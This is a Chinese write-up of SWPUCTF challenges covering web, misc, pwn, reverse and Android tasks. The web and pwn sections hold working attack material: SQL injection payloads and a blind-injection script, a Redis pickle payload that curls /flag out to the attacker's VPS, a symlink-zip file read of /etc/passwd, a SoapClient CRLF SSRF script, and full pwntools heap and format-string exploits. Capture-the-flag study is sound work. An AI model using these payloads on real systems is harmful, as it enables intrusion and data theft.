WEB

Web1

广告名有二次注入 查看详情时候会报错 or被过滤拿不到information_schema
用sys.schema代替

1
title=a'union/**/all/**/select/**/group_concat(table_name),group_concat(table_name),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()||'1

注出表名

无列名注入

1
a'union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,/**/3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22||'1

Web2

根据提示试着扫了下端口6379开了redis服务
爆破了下弱口令password登上去了 查了几个键值看见了别人的payload 拿着查了下
掌阅iReader某站Python漏洞挖掘
发现是拿p神这个博客改的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python

#

import cPickle

import os

import redis

class exp(object):

def __reduce__(self):

s = """curl -d '@/flag' vpsIP'"""

return (os.system, (s,))

e = exp()

s = cPickle.dumps(e)

r = redis.Redis(host='114.67.109.247', port=6379,password='password' db=0)

r.set("session:e6c36e69a9cf9543243d7921aa1a3d8093b49441", s)

键的前面一定要带'session:' 不然打不出来

Web3

任意账号都能登陆

输入的路由不存在的时候会把serect_key爆出来

伪造一下cookie

上传点可以用了
右键进去有源码 服务端会解压上传的压缩包之后读取
思路很猥琐 上传软连接压缩包 然后达到任意文件读取
参考文章 Facebook本地文件读取漏洞
先构造一个读一下/etc/passwd试试

然后就是flag路径的问题
用/proc/self/cwd就可以了
上传一个连接到/proc/self/cwd/flag/flag.jpg的压缩包
读到flag

Web4

登陆口加了单引号会报500 说明有注入
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99

import requests

import json

from Crypto.Util.number import bytes_to_long

# select case when 1=0 then (exp(~(select 1))) else 1 end;

# ';set/**/@a=0x73656c6563742063617365207768656e20313d31207468656e2028657870287e2873656c656374203129292920656c7365203120656e643b;prepare/**/kk/**/from/**/@a;execute/**/kk;

a = "select case when 1=0 then (exp(~(select 1))) else 1 end;"

def generate(query):

hex_str = hex(bytes_to_long(query))[:-**1**]

stack = """';set/**/@a={0};prepare/**/kk/**/from/**/@a;execute/**/kk;""".format(hex_str)

return stack


def send(stack):

json_str = {

"username":stack**,**

** **"password":"gg"

}

headers = {'Content-Type': 'application/json'}

url = "http://182.92.220.157:11116/index.php?r=Login/Login"

try:

res = requests.post(url**, **data=json.dumps(json_str)**, **headers=headers**,**timeout=**3**)

print res.content

except:

return True

return False

index = **1**

result = ''

debug = **0**

while True:

l_bound = **0**;h_bound = **128**

** **while l_bound<=h_bound:

m_bound = (l_bound + h_bound) / **2**

** **# query = "select case when ord(substr((select/**/version()),{0},1))>{1} then (exp(~(select 1))) else 1 end;".format(index, m_bound)

#query = "select case when ord(substr((select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),{0},1))>{1} then (exp(~(select 1))) else 1 end;".format(index, m_bound)

query = "select case when ord(substr((select/**/group_concat(flag)/**/from/**/flag),{0},1))>{1} then (exp(~(select 1))) else 1 end;".format(index**, **m_bound)

# query = "select case when ord(substr((select 'hello'),{0},1))>{1} then (exp(~(select 1))) else 1 end;".format(index, m_bound)

# print query

stack = generate(query)

a = send(stack)

# exit(0)

if a:

l_bound = m_bound + **1**

** **else:

h_bound = m_bound - **1**

** **temp = m_bound

result += chr(temp)

index = index + **1**

** **print result

debug = debug + **1**

** **if debug == **10**:

exit(**0**)

注完之后读到备份文件AmOL#T.zip
下源码下来审 一个简单的mvc模式

这里把入口的参数按/切开,然后分别拼接给Controller和action,调用对应的控制类中的action方法
看一下控制类文件

没有任何身份验证 尝试一下访问index.php?r=User/Index

直接进来了
跟进一下继承来的loadView方法

extract可以控制变量内容 不过控制不了viewpath 任意读取的点不在这里
去看一下user的视图

在这呢 如果$img_file提前就已经被赋值就不会进入if语句 而我们拥有一个参数可控的extract
Payload:

1
2
3
4
5
index.php?r=User/Index

postdata:

img_file=/../flag.php

Web6

登陆点注入 把密码单独验证了一次
构造空密码

1
1' or 1=1  group by passwd with rollup having passwd is NULL#

根据wsdl中定义的请求接口开始尝试
File_read可以读取源码
读到了index.php se.php encode.php

FFirYnQdTmMx7cln.png

get_flag
伪造cookie+ssrf
se.php里设置了serialize_handler session反序列化soap_client
接下来就是构造payload了
解密cookie:key在keyaaaaaaaasdfsaf.txt里
flag{this_is_false_flag}
逆向加密算法写个脚本

拿到加密格式之后再改成admin:1加密回去
改了cookie就变成admin了
然后构造soapclient反序列化 利用crlf写入cookie
本地构建一个上传页面,利用上传过程把序列化数据写进session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

$target = 'http://127.0.0.1/interface.php';

$post_string = 'a=P3rh4ps&b=P3rh4ps';

$headers = array(

    'X-Forwarded-For: 127.0.0.1',

    'Cookie: user=xZmdm9NxaQ==',       

    );

$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri'      => "aaab"));

$aaa = serialize($b);    

$aaa = str_replace('^^',"\r\n",$aaa);

$aaa = str_replace('&','&',$aaa);

echo urlencode($aaa);

?>

写进去之后要想办法触发session反序列化
index.php没有对session的操作 只能看se.php
Payload:

bb触发aa的__callaa的__call触发aa的__get,aa的__get返回cc对象给aa的__call,aa的__call触发cc的__invoke,然后cc的__invoke触发ee的__tostring 调用到dd的getflag() 触发session反序列化
思路有点乱…将就着看

MISC

神奇的二维码

附件为一个png格式二维码,扫码后是一个假的flag,binwalk分解,分出来多个文件。

文件看了一遍发现flag.doc里面是很长的base64,连续解密后得到:comEON_YOuAreSOSoS0great,尝试使用该字符串打开18394.rar,得到一个摩斯音频,解密后得到:MORSEISVERYVERYEASY,转小写即为flag。

flag:swpuctf{morseisveryveryeasy}

漂流的马里奥

下载附件为一个.exe文件,点击打开后会出来一个txt文本文件,内容为ntfs flag.txt,原本以为是什么磁盘问题,后来010editor打开发现尾部为一个压缩包,直接提取出来保存为rar文件打开就得到flag了。

flag:swupctf{ddg_is_cute}

伟大的侦探

使用EBCDIC编码读到有意义字符,作为密码打开压缩包得到跳舞的小人密码。

使用下面这个图表解密得到flag。

flag:swpuctf{iloveholmesandwllm}

你有没有好好看网课?

爆破出压缩包密码为183792,得到一个.doc和一个非常有魔性的视频,对视频分帧,逐帧看,在灯的尾部得到两处隐含信息,其实也就是文档的数字表示的位置。

查询资料得知第一处不是摩斯密码而是敲击码,解码得到wllm,第二处base64解出up_up_up,得到解压密码wllmup_up_up,解压出一张图片,记事本查看在尾部得到flag。

flag:swpuctf{A2e_Y0u_Ok?}

Network

打开文档后可以看到有很多的63 127 191 255 这个是TTL字段中隐藏
63 127 191 255对应00 01 10 11
(如果是2种情况就猜0 1,4种情况就猜00 01 10 11,转换为8位二进制,然后只取前两位,因为观察会发现后面几位都是1)
之后就是对数据的进制转换了,最终转成十六进制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
fp = open('C://Users/fanhu/Desktop/t.txt','r')
a = fp.readlines()
p = []
for i in a:
    p.append(int(i))
s = ''
for i in p:
    if i == 63:
        a = '00'
    elif i == 127:
        a = '01'
    elif i == 191:
        a = '10'
    elif i == 255:
        a = '11'
    s += a
# print(s)

import binascii
flag = ''
for i in range(0,len(s),8):
    flag += chr(int(s[i:i+8],2))
flag = binascii.unhexlify(flag)
wp = open('C://Users/fanhu/Desktop/g.jpg','wb')
wp.write(flag)
wp.close()
#00111111 63
#01111111 127
#10111111 191
#11111111 255

打开后发现图片并没有什么,尝试改成了rar的后缀

打开flag.txt 这里不推荐使用winrar因为这个软件有时候有什么对不上 会变成伪加密的问题

发现这个是base64迭代的加密问题 网上随便找个解码的网站,解了十几次出了flag
flag:flag{189ff9e5b743ae95f940a6ccc6dbd9ab}

PWN

p1KkHeap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
#s = process("./p1KkHeap")
s = remote('39.98.64.24',9091)
libc = ELF("./libc.so.6")
context.log_level = 'info'
context.arch = 'amd64'
def add(size):
    s.sendlineafter("Your Choice: ","1")
    s.sendlineafter("size: ",str(size))
def show(idx):
    s.sendlineafter("Your Choice: ","2")
    s.sendlineafter("id: ",str(idx))
    s.recvuntil('content: ')
    return s.recvline().replace('\n','')
def free(idx):
    s.sendlineafter("Your Choice: ","4")
    s.sendlineafter("id: ",str(idx))
def edit(idx,buf):
    s.sendlineafter("Your Choice: ","3")
    s.sendlineafter("id: ",str(idx))
    s.sendafter("content: ",buf)

add(0x100)
context.log_level = 'debug'
add(0x100)
free(0)
free(0)
leakh =  u64(show(0).ljust(8,'\x00'))
info(hex(leakh))
heap = leakh-0x260
add(0x100)
edit(2,p64(heap+0x10))
add(0x100)
add(0x100)
free(0)
show(0)
leakl =  u64(show(0).ljust(8,'\x00'))
libc.address  = leakl - 0x3ebca0
info(hex(leakl))
info(hex(libc.address))
edit(4,'\x00'*0x40+p64(0)*14+p64(libc.symbols['__malloc_hook'])+p64(0x66660000))
shellcode = asm(shellcraft.amd64.open('./flag.txt'))
shellcode += asm(shellcraft.amd64.read(3,0x66660100,100))
shellcode += asm(shellcraft.amd64.write(1,0x66660100,100))
add(0x100)
edit(5,shellcode)
add(0xf0)
edit(6,p64(0x66660000))
s.interactive()

Login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python2
# -*- coding: utf-8 -*-  
# author : 5k1l
from pwn import *
import sys
context.log_level = 'debug'
# template need set
path = './login'
port = 9090
host = '108.160.139.79'
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x8048000)
# default 
libc = ELF('/lib/i386-linux-gnu/libc-2.27.so')

nremote = False
if len(sys.argv) >  2:
    nremote = True
if not nremote:
    p = process(path)
else :
    p = remote(host,port)
def ga():
    if type(p) == pwnlib.tubes.process.process:
        gdb.attach(p)
    else:
        info('remote')

def start():
    global p    
    p.close()
    if nremote:
        p = remote(host,port)
    else:
        p = process(path)
def exploit():
    flag = ''
    p.sendlineafter('name: ','/bin/sh\x00')
    p.sendlineafter('password','%6$s')
    p.recvuntil('This is the wrong password: ')
    stack = u32(p.recvn(4))
    info(hex(stack))
    payload = ('%'+str((stack-0x1c)&0xff)+'c')+'%6$hhn'
    addrs = []
    for i in range(4):
        addrs.append(u32(p.recvn(4)))
        info(hex(addrs[i]))
    libc.address = addrs[1]-0x20a9b0
    info(hex(libc.address))
    p.sendline(payload)
   
    
    sysaddr = libc.symbols['system']
    info(hex(sysaddr))
    
    p.sendlineafter('password','%256c'+'%10$hhn'
    
    payload = ('%'+str(((stack-0x1c)&0xff)+1)+'c')+'%6$hhn'
    p.sendlineafter('password',payload)
    p.sendlineafter('password','%'+str((sysaddr>>8)&0xff)+'c'+'%10$hhn')

    payload = ('%'+str(((stack-0x1c)&0xff)+2)+'c')+'%6$hhn'
    p.sendlineafter('password',payload)
    p.sendlineafter('password','%'+str((sysaddr>>16)&0xff)+'c'+'%10$hhn')

    payload = ('%'+str(((stack-0x1c)&0xff)+3)+'c')+'%6$hhn'
    p.sendlineafter('password',payload)
    p.sendlineafter('password','%'+str((sysaddr>>24)&0xff)+'c'+'%10$hhn')



    ga()
    p.interactive()
    p.close()
    return flag
if __name__ == "__main__":
    exploit()

RE

Re1

首先静态分析,得到flag格式,然后patch掉反调试,进行调试,输入几组数据,得到加密对应结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

08 21 D4 B6 
32 32 32 32
9
48 92 73 CE 
30 30 30 30
a
54 61 18 86 
20 20 20 20 
b
24 19 63 8C 
21 21 21 21 
c
54 E3 38 8E 
20 20 20 20 
d
44 44 99 99 
22 22 22 22 
e
54 65 59 96 
20 20 20 20

24 39 E7 9C
21 21 21 21
g
54 E7 79 9E 
20 20 20 20 
h
84 10 D2 B6
23 23 23 23
z
24 D9 7B EF 
21 21 21 21

猜测四个为一组(上边重复的数据我给删了),然后就确定爆破字典,根据下边0xxx得到字典(0x2x是字母,后边那个数是二进制末尾有几个零,0x3x是数字)

1
2
3
4
5
6
7
8
9
10
11
12
13
[

'13579acegikmoqsuwyACEGIKMOQSUWY',

 '26bfjnrvzBFJNRVZ',

 '4dltDLT',

 '8hxHX',

 '0pP'

]

patch程序(校验位数),爆破第一组

1
2
3
4
5
6
7
8
9
10
def bomb():
for i in dic[0]:
for j in dic[0]:
for k in dic[0]:
for m in dic[3]:
x = subprocess.Popen('./easyRE.exe',stdout = subprocess.PIPE,stdin=subprocess.PIPE,shell=False)
#print(i+j+k+m)
x.stdin.write('swpuctf{'+i+j+k+m+'-4444-4444-4444-4444}\n')
if 'rry' not in x.stdout.readlines()[1]:
print(i+j+k+m)

仅有一组解,发现全是小写,修改字典为

1
2
3
4
5
6
7
8
9
10
11
12
13
[

'13579acegikmoqsuwy',

 '26bfjnrvz',

 '4dlt',

 '8hx',

 '0p'

]

开始下一轮爆破(0x3x跟0x2x分开会更快)
最后得到flag
flag:swpuctf{we18-l8co-m1e4-58to-swpu}

Re2

patch掉两个地方
30 个字节的位置
90 F B6 55 F7 8B 45 8 8B 4 90 F AF 45 FC 33 D2 F7 75 F8 F B6 4D F7 8B 45 C 89 14 88
7 个字节的位置
90 83 7D F8 18 7D 11
找到关键位置,分析算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
x = [977,752,82,1141,466,752,548,1308,1254,671,750,923,1017,811,754,1461,588,1114,844,1389,10,1254,1142,729]

v10 = [0x52,0x7b,0x11f,0x53,0xf8,0x175,0xa,0x1d7]

result = ""

for jj in range(24):

    for i in range(32,127):

        if jj ==0:

            kk = 0x1234

        else:

            kk = x[jj-1]

        t =  bin((i^kk)&0xff).replace("0b","").rjust(8,"0")

        s = 0

        for m in range(0,8):

            s +=v10[m] * int(t[m])

        print s

        if s == x[jj]:

            result += chr(i)

print result

Re3

ZUC算法,加解密用的是相同的算法,提取出加密以后的,直接去程序里面patch一下。

1
2
3
4
5
12345678911234567891123456789189

B3 37 0F F8 BC BC AE 5D BA 5A 4D 86 44 97 62 D3 4F BA 24 16 0B 9F 72 1A 65 68 6D 26 BA 6B C8 67

35 3B 31 32 24 6B 00 44 58 2D 26 20 2E 36 15 63 26 2B 13 13 71 66 09 2A 26 32 26 36 3C 16 1C 4F

flag:flag{Y0uaretheB3st!#@_VirtualCC}

Re4

双进程程序,找到SendMessageA 根据消息号定位到关键位置。
异或的key

异或

对比的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
x = [5,0x20,0x19,0x11,0x74,0xE4,0x62,0x6C,0x61,0x24,0x73,0,0x73,0x47,0x1A,0x62,0xB7,0x7B,0x2A,0x37,0x66]

key = [0x64,0x12,0x28,0x69,0x17,0x85,0x11,0x59,0x58,0x15]

s = ""

i = 0

j = 0

while 1:

    print i,j

    s += chr(x[i]^key[j])

    if (i==len(x)-1):

        break

    if j == 9:

        s+=chr(x[i+1])

        i += 2

        j = 0

    else:

        i += 1

        j += 1

print s

#a21xcas591daosu2jsos

Android

Android1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include<string.h>
#include <stdio.h>
int main()
{
char v3[] = "MWa";
char v2[3]; //最后一次为4
for (int i = 0; i <= 2; ++i)
v2[i] = v3[i] ^ 0x38;
//uoY
char v3[] = "AVE";
for (int i = 0; i <= 2; ++i)
v2[i] = v3[i] ^ 0x24;
//era
char v3[] = "R_C";
for (int i = 0; i <= 2; ++i)
v2[i] = v3[i] ^ 0x37;
//eht
char v3[] = "#$D5";
for (int i = 0; i <= 3; ++i)
v2[i] = v3[i] ^ 0x77;
//TS3B
for (int i = 0; i <= 3; ++i)
printf("%c", v2[i]);
return 0;
}

值为反:YouaretheB3ST

Android2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
a = "flag{WeLcome_to-SWPU}}"

a3 = [0] * (len(a))

def exange(a1):

    a2 = 5

    for i in range(len(a1)):

        if(ord(a1[i]) < 0x41 or ord(a1[i])>90):

            if ( ord(a1[i]) >= 0x61 and ord(a1[i]) <= 122 ):

                a3[i] = (a2 + ord(a1[i]) - 0x61) % 26 + 0x61

                # print (a2 + ord(a1[i]) - 0x61) % 26 + 0x61

            else:

                a3[i] = ord(a1[i])

        else:

            a3[i]=(a2 + ord(a1[i]) - 65) % 26 + 65

            # print (a2 + ord(a1[i]) - 65) % 26 + 65


    return a3

print "".join([chr(j) for j in exange(a)])

flag:swpuctf{kqfl{BjQhtrj_yt-XBUZ}}}

Android3

找到check函数:

判断长度是否为11,根据data值操作来存放数组的下标,进行调用fun1

相当于链表,查看fun2

V1=原始值 v2= -1^((b下标+原来下标)%2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int main()
{
char a[] = "0123456789a";
int data[] = { 6, 2, 5, 0, 7, 3, 10, 9, 1, 4, 8 };
int data2[] = { 0x3C, 0x6C, 0x33, 0x4F, 0x81, 0x38, 0x2C, 0x5E, 0x54, 0x45, 0x40 };
int v1[24] = { 0 };
int b;
int* z1;
int* z2;
int* z3;
for (int i = 0; i < 11; i++)
{
b = data[i];
v1[2 * b ] = i;
v1[2 * b + 1] = a[i];
}
z1 = (int*)malloc(16u);
int i = 0;
while (i != 11)
{
z2 = (int*)malloc(16u);
*z2 = v1[2 * i + 2];
z2[1] = i;
z3 = &v1[2 * i + 2];
z2[3] = 0;
++i;
*(z2 + 2) = *(z3 + 1);
z1[3] = *z2;
z1 = z2;
v1[1] = (int)z2;
}
z1[3] = 0;
while (1)
{
*z3 = z3[3];
if ((z3[1] + z3[0]) % 2)
{
b = z3[2] + (z3[1] + z3[0]);
printf("%d\n",data2[z3[1]] - z3[1] - z3[0]);
}
else {
b = z3[2] - (z3[1] + z3[0]);
printf("%d\n",data2[z3[1]] + z3[1] + z3[0]);
}
}
int s[] = { 50,48,49,57,83,87,80,85,99,116,102 };
for (int i = 0;i<11 ;i++) {
printf("%c", s[i]);